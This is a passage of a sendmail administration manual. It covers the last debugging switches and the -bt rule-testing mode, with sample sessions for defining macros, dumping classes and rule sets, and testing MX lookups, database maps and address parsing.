If the size is known, it is reduced by the number and size of the end-of-line characters (as defined by the delivery agent's E = equate). If the delivery agent's F=E flag is set (see Section 30.8.19, F=E), the size is further reduced by the number of five character "From " strings that begin lines in the message body. The -d80 debugging switch then causes the final result to be printed:

Content length =  final length here

37.5.191 -d81.1

> option for remote mode (Sun enhancement)

In V8.1 sendmail the letter R was co-opted by the Berkeley distribution as an option name. This forced Sun to change the name of its former R option into the new > option. The -d81.1 (a.k.a. -d80) debugging switch causes Sun's sendmail to display the status of this remote mode:

verify_mail_server(): remote mode is  either on or off
mail server =  host name here

If the > option is declared, on is printed, and the name of the remote mail host is displayed, if known. See Section 38.18, "The > Option" for a further description of this option.

37.5.192 -d91.100

Log caching and uncaching connections

The -d91.100 debugging switch [21] causes the same information to be logged with syslog(3) as is printed by the -d42.5 debugging switch.

[21] There is no -d91.1 information available.

37.5.193 -d99.100

Prevent backgrounding the daemon

(useful)

The -d99.100 debugging switch [22] prevents the sendmail daemon from forking and putting itself into the background. This leaves the running daemon connected to your terminal so that you can see other debugging output. For example,

[22] There is no -d99.1 information available.

# /usr/lib/sendmail -bd -d99.100 -d9.30

This allows you to watch the daemon perform RFC1413 identification queries when SMTP connections are made. See also -d52.100, which prevents sendmail from disconnecting from its controlling terminal device, or the -bD command-line switch (Section 36.7.4, -bD), which does both.

Previous: 37.4 Pitfalls | sendmail | Next: 38. Rule-Set Testing with -bt
37.4 Pitfalls | Book Index | 38. Rule-Set Testing with -bt


[Chapter 38] Rule-Set Testing with -bt

sendmailSearch this book
Previous: 37.5 Reference in Numerical Order Chapter 38 Next: 38.2 Configuration Lines

38. Rule-Set Testing with -bt

Contents:
Overview
Configuration Lines
Dump a Macro
Show an Item
Complex Actions
Process-Specified Addresses
Add Debugging for Detail
Batch Rule-Set Testing
Pitfalls

The sendmail program offers a mode of operation (called rule testing mode) that allows you to observe the flow of addresses through rule sets. The -bt command-line switch causes sendmail to run in rule-testing mode. This mode is interactive. You enter rule set numbers, addresses, and other commands, and sendmail processes them and prints the results. The -bt switch's chief use is in testing changes in the configuration file. It is also useful for learning how rules and rule sets work.

38.1 Overview

The following command runs sendmail in rule-testing mode:

% /usr/lib/sendmail -bt

At first, the output produced by this command line prompts you like this:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

The "ruleset 3" statement says that, beginning with V8 (and IDA) sendmail, rule set 3 is no longer automatically called when rule sets are listed at the prompt. We cover this new property in detail in Section 38.6.2, "The Address".

Prior to V8 sendmail, rule-testing mode could be used only to test addresses. But beginning with V8.7 sendmail new functions have been added. To see a summary of those functions, enter a ? character followed by a RETURN at the > prompt. The output, which we reproduce below, lists and gives a brief description of each function. Note that the numbers to the right refer to the sections in this chapter and are not a part of sendmail's output.

> ?
Help for test mode:
?                :this help message.
.Dmvalue         :define macro `m' to `value'.                            <-  Section 38.2.1, "Define a Macro with .D"
.Ccvalue         :add `value' to class `c'.                               <-  Section 38.2.2, "Add to a Class with .C"
=Sruleset        :dump the contents of the indicated ruleset.             <-  Section 38.4.1, "Show Rules in a Rule Set with =S"
=M               :display the known mailers.                              <-  Section 38.4.2, "Show Delivery Agents with =M"
-ddebug-spec     :equivalent to the command-line -d debug flag.
$m               :print the value of macro $m.                            <-  Section 38.3.1, "Dump a Defined Macro with $"
$=c              :print the contents of class $=c.                        <-  Section 38.3.2, "Dump a Class Macro with $="
/mx host         :returns the MX records for `host'.                      <-  Section 38.5.2, "Look Up MX Records with /mx"
/parse address   :parse address, returning the value of crackaddr, and    <-  Section 38.5.5, "Parse an Address with /parse"
                  the parsed address (same as -bv).
/try mailer addr :rewrite address into the form it will have when         <-  Section 38.5.6, "Try a Delivery Agent with /try"
                  presented to the indicated mailer.
/tryflags flags  :set flags used by parsing.  The flags can be `H' for    <-  Section 38.5.4, "Select Whom to /parse or /try with /tryflags"
                  Header or `E' for Envelope, and `S' for Sender or `R'
                  for Recipient.  These can be combined, `HR' sets
                  flags for header recipients.
/canon hostname  :try to canonify hostname.                               <-  Section 38.5.1, "Canonify a Host with /canon"
/map mapname key :look up `key' in the indicated `mapname'.               <-  Section 38.5.3, "Look up a Database Item with /map"
rules addr       :run the indicated address through the named rules.      <-  Section 38.6, "Process-Specified Addresses"
                  Rules can be a comma separated list of rules.
End of HELP info
>

This help output is contained in the sendmail.hf file, the location of which is defined by the HelpFile (H) option (see Section 34.8.28, HelpFile (H)). If that option is not defined or if the file that is specified in it does not exist, you will get the following error message instead of help:

Sendmail 8.8.4 - HELP not implemented

Help for rule-testing mode requires that the help file both exist and contain lines that begin with:

-bt

If you installed a new sendmail but did not install the new help file (thus causing the old file to be used), you may see this error:

HELP topic "-bt" unknown

The solution here is to upgrade your sendmail.hf file to the newest version.

Note that each of the functions listed in the help output will also produce a usage message if it is executed with no arguments. Consider the /try function, for example:

> /try
Usage: /try mailer address
>

This parallels the syntax shown in the help output above. These miniusage messages can effectively replace the sendmail.hf file in case it is missing.

Finally note that, although address testing was not listed in the help output for V8.7 sendmail, it still existed. We will cover it in Section 38.6.

Previous: 37.5 Reference in Numerical Order | sendmail | Next: 38.2 Configuration Lines
37.5 Reference in Numerical Order | Book Index | 38.2 Configuration Lines


[Chapter 38] 38.2 Configuration Lines

sendmailSearch this book
Previous: 38.1 Overview Chapter 38
Rule-Set Testing with -bt 		Next: 38.3 Dump a Macro

38.2 Configuration Lines

Selected configuration file lines can be entered in rule-testing mode. They will behave just as they do when being read from the configuration file. Currently (as of V8.8 sendmail), three configuration commands are honored:

#

Commands that begin with a # are treated as comments and ignored. Blank lines are also ignored.

D

The D configuration command (see Section 31.3, "Configuration File Definitions") is used to define a macro. Both single-character and multicharacter macro names may be used.

C

The C configuration command (see Section 32.1, "Class Configuration Commands") is used to add a value to a class. Both single-character and multicharacter class names may be used.

The # may begin a line. The other two configuration commands in rule-testing mode must begin with a dot. Failure to use a dot will produce this error message:

No address!

The use of any character other than the two listed will produce this error:

Unknown "." command .bad command here

To get a usage message, just type a dot:

> .
Usage: .[DC]macro value(s)

38.2.1 Define a Macro with .D

The .D rule testing command is used to define a macro. One use for this command might be to modify a rule that depends on the $& prefix (see Section 31.5.3, "Use Value as Is with $&"). For example, consider the rule in rule set 0 that is intended is to deliver a local user's address via the local delivery agent:

R$+      $#local $@ $&X $: $1

If $X has a value, this rule returns it as the host (the $@) part of a rule set 0 triple. If $X lacks a value, the host part is empty. This technique is useful because the $@ part with the local delivery agent is used to implement plussed users (see Section 24.4.3, "Plussed Users").

This scheme can be tested in rule-testing mode by first specifying a local user with $X undefined:

> 0 bob
rewrite: ruleset   0   input: bob
rewrite: ruleset   0 returns: $# local $@ $: bob

This form of rule testing and the output produced are described in detail in Section 38.6. Here it is important only to note that the host part of the triple (the $@ part) is empty.

Now use the .D command to give $X the value home:

> .DXhome

Now test those rules again:

> 0 bob
rewrite: ruleset   0   input: bob
rewrite: ruleset   0 returns: $# local $@ home $: bob

This time the host part of the triple (the $@ part) has the value host as intended.

The .D command can also be used to redefine the value of existing macros. It may not, however, be used to redefine macros used in rules (except for $&), because macros are expanded as rules are read from the configuration file. (See Section 31.5.2, "When Is a Macro Expanded?" and Section 38.3.1; describes how to view macro values in rule-testing mode.)

Internally, the .D command calls three routines, two of which you can watch. First it calls macid() to translate a macro name into an integer index. This can be watched with the -d35.14 debugging switch (see Section 37.5.121, -d35.14). Second, it calls translate_dollars() to convert the $x form into its internal form. This step cannot be watched. Finally, it calls define() to actually define the macro. This step can be watched with the -d35.9 debugging switch (see Section 37.5.120, -d35.9).

38.2.2 Add to a Class with .C

The .C rule testing command is used to add a member to a class. If the class does not exist, it is created. One possible use for this command would be to test whether adding a member to $=w will have the effect you desire. For example, suppose that a new alias called mailhub has been created for the local host. In the following, we test sendmail to see whether it will detect that new name as local:

> 3,0 bob@mailhub
rewrite: ruleset   3   input: bob @ mailhub
rewrite: ruleset   3 returns: bob < @ mailhub >
rewrite: ruleset   0   input: bob < @ mailhub >
rewrite: ruleset   0 returns: $# smtp $@ mailhub $: bob < @ mailhub

This form of rule testing and the output that is produced are described in detail in Section 38.6. Here, merely note that the smtp delivery agent was selected, suggesting that mailhub was not automatically recognized as local.

One way to fix this is to add mailhub to the class $=w (see Section 32.5.8, $=w). In rule-testing mode this can be done by using the .C command:

> .Cw mailhub

Now feed sendmail the same rules and address as before to see whether this fixed the problem:

> 3,0 bob@mailhub
rewrite: ruleset   3   input: bob @ mailhub
rewrite: ruleset   3 returns: bob < @ mailhub . >
rewrite: ruleset   0   input: bob < @ mailhub . >
rewrite: ruleset   0 returns: $# local $: bob

Success! Adding mailhub to the class $=w fixed the problem. You could now make that change permanent by editing the configuration file or by adding the name to the sendmail.cw file (see Section 19.6.26, FEATURE(use-cw-file)).

Another use for .C would include trying out masquerading for a subdomain. (See Section 19.6.12, FEATURE(limited-masquerade). See also Section 38.3.2 for a way to print the members of a class while in rule-testing mode.)

Internally, the .C command calls four routines, but you can watch only three. First it calls macid() to translate a macro name into an integer index. This can be watched with the -d35.14 debugging switch (see Section 37.5.121). Second, it calls translate_dollars() to convert the $=x form into its internal form. This step cannot be watched. Third, it calls expand() to expand any macros that appear in the list of words. This may be watched with the -d35.24 debugging switch (see Section 37.5.122, -d35.24). Finally, for each word that it adds to the class, it calls setclass(), which can be watched with the -d37.8 debugging switch (see Section 37.5.127, -d37.8).

Previous: 38.1 Overview | sendmail | Next: 38.3 Dump a Macro
38.1 Overview | Book Index | 38.3 Dump a Macro


[Chapter 38] 38.3 Dump a Macro

sendmailSearch this book
Previous: 38.2 Configuration Lines Chapter 38
Rule-Set Testing with -bt 		Next: 38.4 Show an Item

38.3 Dump a Macro

Beginning with V8.7, the new rule testing commands allow you to print the value of a defined macro and the members of a class. With either command, you may use single-character or multicharacter macro names. Both commands begin with a $ character. An error is caused if nothing follows that $:

Name required for macro/class

If an = character follows, sendmail will display the requested class. Otherwise, the value of the macro is displayed:

$X                <-  display the value of the X macro
$=X               <-  list the members of the class X

38.3.1 Dump a Defined Macro with $

The $ rule-testing command causes sendmail to print the value of a defined macro. The form for this command looks like this:

$X                 <-  show value of the single character macro name X
${YYY}             <-  show value of the multi-character macro name YYY

Only one macro may be listed per line. If more than one is listed, all but the first is ignored:

$X $Y

   ignored

One use for this command might be in solving the problem of duplicate domains. For example, suppose you just installed a new configuration file and discovered that your host was no longer known as here.our.domain but instead wrongly had an extra domain attached like this: here.our.domain.our.domain. To check the value of $j (see Section 31.10.20, $j), which should contain the canonical name of your host, you could run sendmail in rule-testing mode:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> $j
$w.our.domain
>

This looks right because $w (see Section 31.10.40, $w) is supposed to contain our short hostname. But just to check, you could also print the value of $w:

> $w
here.our.domain

Aha! Somehow, $w got the full canonical name. A quick scan of your .mc file (see Section 19.2, "Build with m4") turns up this error:

LOCAL_CONFIG
Dwhere.our.domain           # $w is supposed to be full - joachim

Apparently, your assistant, Joachim, mistakenly thought that new sendmail was wrong. By deleting the offending line and creating a new configuration file, you can take care of the problem.

38.3.2 Dump a Class Macro with $=

The $= rule-testing command tells sendmail to print all the members for a class. The class name must immediately follow the = with no intervening space, or the name is ignored. Both single-character and multicharacter names may be used:

$= X              <-  the X is ignored
$=X               <-  list the members of the class X
$={xxx}           <-  list the members of the class xxx

The list of members (if any) is printed one per line:

> $=w
here.our.domain
here
[123.45.67.89]
fax
fax.our.domain
>

To illustrate one use for this command, imagine that you just made the local host the FTP server for your site. Of course, you were careful to modify the configuration file and add fax and fax.our.domain to the $=w class in it. But incoming mail to fax.our.domain is still failing. You run sendmail in rule-testing mode, as above, to verify that the correct entries are in $=w:

here.our.domain
here
[123.45.67.89]
fax                      <-  correct
fax.our.domain           <-  correct

Since they are correct, it could be that you made the mistake of changing the configuration file and failing to restart the daemon (see Section 4.1.1, "Daemon Mode (-bd)"). The following command line fixes the problem (see Section 26.3.2, "SIGHUP Restart"):

# kill -HUP `head -1 /etc/sendmail.pid`

Previous: 38.2 Configuration Lines | sendmail | Next: 38.4 Show an Item
38.2 Configuration Lines | Book Index | 38.4 Show an Item


[Chapter 38] 38.4 Show an Item

sendmailSearch this book
Previous: 38.3 Dump a Macro Chapter 38
Rule-Set Testing with -bt 		Next: 38.5 Complex Actions

38.4 Show an Item

Beginning with V8.7 sendmail, two rule-testing commands are available: the =S command displays all the rules in a given rule set, and the =M command displays all the delivery agents. Both display their items after the configuration has been read. Thus in the case of rules, all the macros will have already been expanded.

Both are triggered by the leading = character. If nothing follows the =, this usage message is printed:

Usage: =Sruleset or =M

If any character other than S or M follows the = character, the following error is printed:

Unknown "=" command =bad character here

38.4.1 Show Rules in a Rule Set with =S

The =S rule-testing command causes sendmail to show all the rules of a rule set. The form of this command looks like this:

=Sruleset

Optional whitespace may separate the ruleset from the S. The ruleset may be a number or a symbolic name (see Section 29.1.2, "Rule-Set Names"):

=S0                      <-  a number
=SMyrule                 <-  a name

Note that although macros may be used in defining rule sets (see Section 29.1.4, "Macros in Rule-Set Names"), they may not be used with the =S command:

> =S$X
invalid ruleset name: "$X": No such file or directory
Undefined ruleset $X
>

One use for the =S command is to determine why a rule set is not behaving as expected. Consider a rule set 1 that is intended to rewrite all sending addresses so that the local hostname makes the message appear as though it came from the mail hub machine. Suppose that, when testing, you send an address through that rule but it comes out unchanged:

> 1 bob@localhost
rewrite: ruleset   1   input: bob @ localhost
rewrite: ruleset   1 returns: bob @ localhost
>

Puzzled, you look at the actual rule with the =S rule-testing command:

> =S1
R$* < @ $=w > $*                $@ $1 < @ mailhub . our . domain > $3
>

Aha! Rule set 1 [1] expects the host part of the address to be surrounded by angle brackets! Knowing this, you run the address through the rule again, this time using angle brackets, and it succeeds:

[1] For the sake of the example we limited this rule set to a single rule. Most rule sets will have many rules.

>  1 bob<@localhost>
rewrite: ruleset   1   input: bob < @ localhost >
rewrite: ruleset   1 returns: bob < @ mailhub . our . domain >
>

38.4.2 Show Delivery Agents with =M

The =M rule testing command causes sendmail to print its list of delivery agents. This command takes no argument. Note that in the following example the lines are wrapped to fit on the page:

> =M
mailer 0 (prog): P=/bin/sh S=10/30 R=20/40 M=0 U=0:0 F=DFMelosu L=0 E=\n T=X-Unix
/rfc822/smtp A=sh -c $u
mailer 1 (*file*): P=[FILE] S=0/0 R=0/0 M=0 U=0:0 F=DEFMPlosu L=0 E=\n T=DNS/RFC8
22/X-Unix A=FILE
mailer 2 (*include*): P=/dev/null S=0/0 R=0/0 M=0 U=0:0 F=su L=0 E=\n T=<undefine
d>/<undefined>/<undefined> A=INCLUDE
mailer 3 (local): P=/bin/mail S=10/30 R=20/40 M=0 U=0:0 F=/5:@ADFMlmnrsw| L=0 E=\
n T=DNS/RFC822/X-Unix A=mail -d $u
mailer 4 (smtp): P=[IPC] S=11/31 R=21/21 M=0 U=0:0 F=DFMXmu L=990 E=\r\n T=DNS/RF
C822/SMTP A=IPC $h
mailer 5 (esmtp): P=[IPC] S=11/31 R=21/21 M=0 U=0:0 F=DFMXamu L=990 E=\r\n T=DNS/
RFC822/SMTP A=IPC $h
mailer 6 (smtp8): P=[IPC] S=11/31 R=21/21 M=0 U=0:0 F=8DFMXmu L=990 E=\r\n T=DNS/
RFC822/SMTP A=IPC $h
mailer 7 (relay): P=[IPC] S=11/31 R=61/61 M=0 U=0:0 F=8DFMXamu L=2040 E=\r\n T=DN
S/RFC822/SMTP A=IPC $h

This output is the same as that produced with the -d0.15 debugging switch (see Section 37.5.4, -d0.15). The individual items in each line are explained in Chapter 30, Delivery Agents.

Internally, the =M rule testing command calls printmailer() to print the contents of each delivery agent.

Previous: 38.3 Dump a Macro | sendmail | Next: 38.5 Complex Actions
38.3 Dump a Macro | Book Index | 38.5 Complex Actions


[Chapter 38] 38.5 Complex Actions

sendmailSearch this book
Previous: 38.4 Show an Item Chapter 38
Rule-Set Testing with -bt 		Next: 38.6 Process-Specified Addresses

38.5 Complex Actions

Beginning with V8.7 sendmail, rule-testing mode offers six simple commands that accomplish complex tasks. They are listed in Table 38.1.

Table 38.1: Available -bt / Commands
Command | Version |  | Description
/canon | V8.7 and above | Section 38.5.1 | Canonify a host
/mx | V8.7 and above | Section 38.5.2 | Look up MX records
/map | V8.7 and above | Section 38.5.3 | Look up a database item
/tryflags | V8.7 and above | Section 38.5.4 | Select whom to /parse or /try
/parse | V8.7 and above | Section 38.5.5 | Parse an address
/try | V8.7 and above | Section 38.5.6 | Try a delivery agent

A lone / character will cause the following usage message to print:

Usage: /[canon|map|mx|parse|try|tryflags]

Anything other than the commands shown in Table 38.1 (such as /foo) will produce an error:

Unknown "/" command /foo

38.5.1 Canonify a Host with /canon

The /canon rule-testing command causes sendmail to look up the canonical (official, fully qualified) name of a host and print the result. The form for this command looks like this:

/canon host

If host is missing, the following usage message is printed:

Usage: /canon address

When you correctly supply the hostname as the argument, sendmail looks up the canonical name and returns the result:

> /canon icsic
getcanonname(icsic) returns icsic.icsi.berkeley.edu
>

Here, the hostname icsic was looked up. Because its canonical name was found, that name is printed following the returns. If the hostname had not been found, sendmail would have printed that same name after the returns:

> /canon foo
getcanonname(foo) returns foo

If you wish to watch the actual process of a host being canonified, you can turn on the -d38.20 debugging switch (see Section 37.5.135, -d38.20) with the rule-testing -d command (see Section 38.7, "Add Debugging for Detail"):

> -d38.20
>

With that setting, the previous lookup of icsic produces a trace of all the steps that sendmail takes:

> /canon icsic
getcanonname(icsic), trying dns
getcanonname(icsic), trying files
text_getcanonname(icsic)
getcanonname(icsic.icsi.berkeley.edu), found
getcanonname(icsic) returns icsic.icsi.berkeley.edu

Here, sendmail first looked up icsic using DNS. That lookup failed, so sendmail fell back to looking it up in the /etc/hosts file, where it was found. The order in which these techniques are tried is defined by your service-switch (see Section 34.8.61, ServiceSwitchFile). If a service-switch mechanism is lacking, the order is internally defined by sendmail and varies depending operating system used.

Internally, the /canon rule-testing command can be watched in greater detail with the -d38.20 debugging switch (see Section 37.5.135) and with the -d8.2 debugging switch (see Section 37.5.31, -d8.2).

38.5.2 Look Up MX Records with /mx

The /mx rule-testing command causes sendmail to look up a specified hostname and return a list of MX records for that host. The form for this command looks like this:

/mx host

Here, host is the short or fully qualified name of a host. If host is missing, sendmail prints the following usage message:

Usage: /mx address

When host exists and has MX records associated with it, sendmail will look up and print those records. The MX records are listed in the order in which they will be tried (lowest to highest preference values). For example,

> /mx ourhost
getmxrr(ourhost) returns 2 value(s):
        mx.our.domain
        offsite.mx.domain
>

If no MX records are found, sendmail "returns 0." When multiple records have the same preference values, sendmail randomizes the list. During a single run of sendmail the randomization will be the same each time. You can see this by looking up aol.com:

> /mx aol.com
getmxrr(aol.com) returns 8 value(s):
       d.mx.AOL.COM.
       h.mx.AOL.COM.
       g.mx.AOL.COM.
       c.mx.AOL.COM.
       b.mx.AOL.COM.
       f.mx.AOL.COM.
       e.mx.AOL.COM.
       a.mx.AOL.COM.
> /mx aol.com
getmxrr(aol.com) returns 8 value(s):
       d.mx.AOL.COM.
       h.mx.AOL.COM.
       g.mx.AOL.COM.
       c.mx.AOL.COM.
       b.mx.AOL.COM.
       f.mx.AOL.COM.
       e.mx.AOL.COM.
       a.mx.AOL.COM.

Now exit rule-testing mode and perform two separate runs of sendmail:

% echo /mx aol.com | /usr/lib/sendmail -bt
> /mx aol.com
getmxrr(aol.com) returns 8 value(s):
        d.mx.AOL.COM.
        g.mx.AOL.COM.
        h.mx.AOL.COM.
        c.mx.AOL.COM.
        b.mx.AOL.COM.
        f.mx.AOL.COM.
        a.mx.AOL.COM.
        e.mx.AOL.COM.
% echo /mx aol.com | /usr/lib/sendmail -bt
> /mx aol.com
getmxrr(aol.com) returns 8 value(s):
        b.mx.AOL.COM.
        d.mx.AOL.COM.
        g.mx.AOL.COM.
        e.mx.AOL.COM.
        a.mx.AOL.COM.
        c.mx.AOL.COM.
        h.mx.AOL.COM.
        f.mx.AOL.COM.

If you have defined the FallbackMXhost (V) (see Section 34.8.25, FallbackMXhost (V)), the host that is specified in that option will always appear last in the list of mx hosts. As a side benefit, it will also be listed for hosts that do not exist:

% /usr/lib/sendmail -OFallBackMXhost=mx.our.domain -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> /mx foo.bar
getmxrr(foo.bar) returns 1 value(s):
        mx.our.domain
>

This /mx command is available for your use only if sendmail was compiled with NAMED_BIND defined (see Section 18.8.23, NAMED-BIND). If NAMED_BIND was not defined, sendmail will print the following error instead of listing MX records:

No MX code compiled in

Internally, the /mx rule-testing command can be watched in a little more detail with the -d8.2 debugging switch (see Section 37.5.31). It can be watched in huge detail with the -d8.20 debugging switch (see Section 37.5.36, -d8.20).

38.5.3 Look up a Database Item with /map

The /map rule-testing command causes sendmail to look up a key in a database and print the value found (if there is one). The /map command is used like this:

/map name key

Here, name is the name of a database. It is either a name you assigned using a K configuration command (see Section 33.3, "The K Configuration Command") or one that is internally defined by sendmail, such as aliases.files (see Section 33.8.17, switch). The key is the item you wish to look up in the database. If both name and key are missing, sendmail prints this usage message:

Usage: /map mapname key

If just the key is missing, sendmail prints this error:

No key specified

If the name is that of a database that does not exist, sendmail prints this error:

Map named "bad name here" not found

Otherwise, the database exists, so sendmail looks up the key in it. If the key is not found in the database, sendmail prints this:

map_lookup: name (key) no match (error number here)

The error number corresponds to error numbers listed in <sysexits.h>.

The /map rule testing command is very useful for testing databases of your own design. If a rule that uses the database fails to work as predicted, use /map to test that database by hand. To illustrate, first get a list of databases that are available on your local machine:

% /usr/lib/sendmail -d38.4 -bt | grep map_init
map_init(sequence:aliases.files, NULL, 0)
map_init(implicit:Alias0, /etc/aliases, 0)
map_init(host:host, NULL, 0)
map_init(switch:aliases, aliases, 0)
map_init(dequote:dequote, NULL, 0)

Here, the name of each database follows the colon in each line. Your list, of course, will probably be different.

The aliases database, for example, is used to convert a local address into one or more new addresses. Using the rule-testing /map command, you can see how sendmail looks up an alias:

> /map aliases root
map_lookup: aliases (root) returns you, hans@other.site (0)

The host database behaves the same as the /canon command shown above. It looks up a hostname by using sendmail's internal host map (see Section 33.4.3, "$[ and $]: A Special Case"), which returns the canonical name of the looked-up host:

> /map host localhost
map_lookup: host (localhost) returns localhost.our.domain. (0)
> /map host bogus.no.domain
map_lookup: host (bogus.no.domain) no match (68)

The dequote map (see Section 33.8.4, dequote) is not really a database at all, but a hook into a routine that removes quotation marks from addresses:

> /map dequote "a"@"@b"
map_lookup: dequote ("a"@"@b") returns a@@b (0)
> /map dequote "a
map_lookup: dequote ("a) no match (0)

Note (in the second example) that it removes only balance quotation marks.

All lookups, no matter what the type, can be watched with the -d38.20 debugging switch (see Section 37.5.135).

38.5.4 Select Whom to /parse or /try with /tryflags

Two additional commands are /parse and /try. We will cover them next, but first we need to mention the /tryflags rule-testing command, because it is used to select the sender or recipient and headers or envelope for those other commands. The /tryflags command is used like this:

/tryflags h               <-  set headers
/tryflags e               <-  set envelope
/tryflags s               <-  set sender
/tryflags r               <-  set recipient
/tryflags er              <-  set envelope recipient

The arguments are single letters that may appear in upper- or lowercase and in any order. Any letter other than those shown is silently ignored.

The default setting when sendmail first starts to run in rule-testing mode is er for envelope recipient. [2] Omitting the argument causes sendmail to print the following usage statement:

[2] Internally, the /tryflags simply sets or clears the RF_HEADERADDR or RF_SENDERADDR flags. The meaning of these flags is documented in Table 37.10 (see Section 37.5.81, -d24.4).

Usage: /tryflags [Hh|Ee][Ss|Rr]

38.5.5 Parse an Address with /parse

The /parse rule testing command instructs sendmail to pass an address through a predetermined sequence of rules to select a delivery agent and to put the $u macro (see Section 31.10.36, $u) into its final form. The /parse command is used like this:

/parse address

If the address is missing, sendmail prints the following usage message:

Usage: /parse address

The following example shows a local address being fed into /parse. Note that the numbers on the left are for later reference and are not part of sendmail's output.

 /parse you@localhost (Your Name)
Cracked address = $g (Your Name)
Parsing envelope recipient address
rewrite: ruleset   3   input: you @ localhost
rewrite: ruleset  96   input: you < @ localhost >
rewrite: ruleset  96 returns: you < @ here . our . domain . >
rewrite: ruleset   3 returns: you < @ here . our . domain . >
rewrite: ruleset   0   input: you < @ here . our . domain . >
rewrite: ruleset   0 returns: $# local $: you
rewrite: ruleset   2   input: you
rewrite: ruleset   2 returns: you
rewrite: ruleset  20   input: you
rewrite: ruleset  20 returns: you
rewrite: ruleset   4   input: you
rewrite: ruleset   4 returns: you
mailer local, user you

The address you@localhost is first fed into crackaddr (line 2) to separate it from any surrounding RFC822 comments (see Section 37.5.117, -d33.1), such as "(Your Name)." If mail were actually to be sent, the address would be stored in the $g macro before being passed to rules. This is illustrated by line 2, which uses $g as a place holder to show where the address was found.

The next line (line 3) shows that the address will be treated as that of an envelope recipient. The /tryflags command (see Section 38.5.4) sets whether it is treated as a header or envelope or as a sender or recipient address.

The address is passed to rule set 3 (see Section 29.4, "Rule Set 3") because all addresses are rewritten by rule set 3 first. The job of rule set 3 is to focus on (surround in angle brackets) the host part of the address, which it does (line 5). Rule set 3, in this example, then passes the address to rule set 96 to see whether localhost is a synonym for the local machine's name. It is, so rule set 96 makes that translation (line 6).

The output of rule set 3 is passed to rule set 0 whose job is to select a delivery agent (line 8). Because here.our.domain is the local machine, rule set 0 selects the local delivery agent (line 9).

Line 9 shows that the $: part of the delivery agent "triple" (see Section 29.6, "Rule Set 0") will eventually be tucked into $u (see Section 31.10.36) for use by the delivery agent's A= equate (see Section 30.4.1, A=). But before that happens, that address needs to be passed though its own set of specific rules. It is given to rule set 2 because all recipient addresses are given to rule set 2 (line 10). It is then given to rule set 20 because the R= equate (see Section 30.4.10, R=) for the local delivery agent specifies rule set 20 for the envelope recipient (line 12). Finally, it is given to rule set 4 (see Section 29.5, "Rule Set 4") because all addresses are lastly rewritten by rule set 4 (line 14).

The last line of output shows that the local delivery agent was selected and that the value that would be put into $u (were mail really being sent) would be you.

When you /parse an address that is not local, rule set 0 will also select a host ($@) part for delivery.

rewrite: ruleset   0 returns: $# smtp $@ uofa . edu . $: friend < @ uofa . edu . >

In this instance the last line of /parse output will also include the host information that will be placed into $h:

mailer smtp, host there.domain., user friend@there.domain

When you /parse an address that is illegal (from the point of view of rules), sendmail selects the #error delivery agent:

> /parse @host
Cracked address = $g
Parsing envelope recipient address
rewrite: ruleset   3   input: @ host
rewrite: ruleset  96   input: < @ host >
rewrite: ruleset  96 returns: < @ host >
rewrite: ruleset   3 returns: < @ host >
rewrite: ruleset   0   input: < @ host >
rewrite: ruleset   0 returns: $# error $@ 5 . 1 . 1 $: "user address required"
@host... user address required
mailer *error*, user

The error here was that the address lacked a user part. The meanings of all the parts of the #error delivery agent are described in Section 30.5.2, "The error Delivery Agent". The second from the last line in this example shows the message that would be printed or returned if such an address appeared in actual mail. The delivery agent *error* is internal to sendmail and cannot be directly used.

Internally, the /parse command first calls crackaddr(), prints the result, then passes the original address to parseaddr(). The entry into and exit from crackaddr() can be watched with the -d33.1 debugging switch (see Section 37.5.117). The selection of a delivery agent with parseaddr() can be watched with the -d20.1 debugging switch (see Section 37.5.66, -d20.1). The rewriting of the user into a suitable $u is handled by buildaddr() which can be watched with the -d24.5 debugging switch (see Section 37.5.82, -d24.5).

38.5.6 Try a Delivery Agent with /try

In the SMTP RCPT command, sendmail is required to express the recipient's address relative to the local host. For domain addresses, this simply means that the address should be RFC822-compliant (such as you@here.our.domain). For UUCP addresses, this may mean reversing the path (such as you@there reverses to there!you). The /try rule testing command causes an address to be rewritten so that it appears to be correct relative to the local host.

The /try command is used like this:

/try agent address

Here, agent is the delivery agent, and address is the address to rewrite. The following usage message is produced if both agent and address are missing or if just the address is missing:

Usage: /try mailer address

The delivery agent (mailer) is used to select only the R= or S= rule set for the address. The /tryflags command (see Section 38.5.4) determines which is selected (by selecting recipient or sender).

In the following example the numbers to the left are for reference only and are not part of sendmail's output:

> /try smtp you
Trying envelope recipient address you for mailer smtp
rewrite: ruleset   3   input: you
rewrite: ruleset  96   input: you
rewrite: ruleset  96 returns: you
rewrite: ruleset   3 returns: you
rewrite: ruleset   2   input: you
rewrite: ruleset   2 returns: you
rewrite: ruleset  21   input: you
rewrite: ruleset  21 returns: you < @ *LOCAL* >

rewrite: ruleset   4   input: you < @ *LOCAL* >
rewrite: ruleset   4 returns: you @ here . our . domain
Rcode = 0, addr = you@here.our.domain

Here, the envelope-recipient address you is rewritten on the basis of the smtp delivery agent. Rule set 3 is called first (line 31) because all addresses are rewritten by it first. Rule set 2 (line 32) is called because all recipient addresses get rewritten by it. Rule set 21 is called because that rule set was indicated by the smtp delivery agent's R= equate. That rule set detects that the envelope recipient address (you) is local (line 33). Rule set 4 (always the last to rewrite) sees the special tag *LOCAL* and converts that tag to the canonical name of your local machine (line 34).

> /try uucp localhost!there!you
Trying envelope recipient address localhost!there!you for mailer uucp
rewrite: ruleset   3   input: localhost ! there ! you
rewrite: ruleset  96   input: there ! you < @ localhost . UUCP >
rewrite: ruleset  96 returns: there ! you < @ here . our . domain . >
rewrite: ruleset   3 returns: there ! you < @ here . our . domain . >
rewrite: ruleset   2   input: there ! you < @ here . our . domain . >
rewrite: ruleset   2 returns: there ! you < @ here . our . domain . >
rewrite: ruleset  22   input: there ! you < @ here . our . domain . >
rewrite: ruleset  22 returns: there ! you
rewrite: ruleset   4   input: there ! you
rewrite: ruleset   4 returns: there ! you
Rcode = 0, addr = there!you

Here we try a UUCP address to examine what might be different. This time, rule set 96 recognized the ! character as meaning this is a UUCP form of address. That rule set recognizes that localhost is one of the names for the local machine and converts the address to Internet form with your host's canonical name (line 51). Another difference is that rule set 22 is called because that is the R= rule set for the uucp delivery agent. That special rule set throws away the local host information, thus forming a correct UUCP-style relative address (line 52).

Internally, the /try rule-testing command calls the remotename() routine, which can be watched with the -d12.1 debugging switch (see Section 37.5.47, -d12.1).

